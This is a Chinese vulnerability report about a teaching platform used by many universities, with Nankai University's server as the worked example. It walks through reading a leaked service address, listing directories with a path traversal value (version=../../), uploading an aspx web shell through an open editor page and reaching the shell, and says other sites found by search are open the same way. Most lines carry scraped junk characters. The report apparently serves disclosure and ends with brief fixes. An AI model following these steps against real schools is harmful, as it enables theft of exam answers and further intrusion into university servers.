好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中% `5 p7 t1 ?2 R$ k2 }! c
" r u8 o. _$ B; s! e# S详细说明:' A# m$ p3 K/ K( [3 R6 x" V2 b
! K8 a i, m, C2 |: z" R- g3 X以南开大学的为例: - c+ v: B8 `1 d* v
http://222.30.60.3/NPELS
. P- n2 q3 t6 C( _1 `- p( t1 iNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址4 H4 E1 o. p6 a* ?1 y& i4 n5 `) t
<setting name="Update_CommonSvr_CommonService" serializeAs="String">) c7 c2 v4 S# |. A$ o c6 }
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>; V7 C* ^9 k9 ?$ U5 L3 J; {
</setting>
: @6 t# H9 |* y7 ?& C及版本号+ P2 C+ N+ p& \- t' w" \/ P; j
<add key="TVersion" value="1, 0, 0, 2187">6 R4 M) F7 H6 j: N, ]
</add>
. a, m. x8 s _直接访问
8 V: V: n9 L" @. T; O* x5 N; nhttp://222.30.60.3/NPELS/CommonService.asmx+ t/ _. S" d m
使用GetTestClientFileList操作,直接 HTTP GET 列目录:
4 ?$ u! ]" K/ u+ ~& n( \, a9 g7 c& ?6 vhttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
) D8 t& D2 n0 C6 u5 |& E) d& E. {- B" V进一步列目录(返回的网页很大,可以直接 wget 下来)
]8 g" F1 _) I1 w5 t( Lhttp://222.30.60.3/NPELS/CommonS ... List?version=../../1 y' W0 u! N4 _( g I& I7 I
6 ~' k5 g- m7 t+ z- X" C# m
发现
% l2 w1 z& k5 ?: {http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm% d# n& ^: @9 A# m) F
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
0 R3 ` u. {% O! x2 [9 A上传后继续列目录找到木马地址直接访问即可
( |2 \ G: N: u6 l ( J7 z* U9 ]) w# e
OOXX
8 {& s1 y2 Z% c* b4 M8 f3 ?7 A9 n 0 |" n* `, L |; L" Z
Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
: F: U$ }4 \4 _2 f漏洞证明:
Q7 ?- R! j2 ~5 K9 Z6 t3 i
/ R; I5 J- s* A; m' U: `0 \" v列目录:$ Z q/ |% f- e0 z& i2 n( n" `
http://222.30.60.3/NPELS/CommonS ... List?version=../../, u, Q# R3 m1 P# M( H: p. D
文件上传:
8 Q% m7 ]% H ]. c Ehttp://222.30.60.3/npelsv/editor/editor.htm
( V C# A3 }+ w, d/ `! Q3 k% m
: w/ m% t8 L+ U* C* b上传木马:
6 T; K1 u, y& C' U+ |http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx& K/ m4 i! D1 G
2 L+ B* B- a8 n& {5 o3 E! u0 X
修复方案:5 ?. \7 E- d7 Z6 G
好像考试系统必须使用 CommonService.asmx
, o" @* `- G; X9 \1 y2 K9 e最好配置文件加密或者用别的方式不让它泄露出来9 T5 b% O+ }9 H- G% K
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样
8 U5 y! u) j8 t6 b( [ |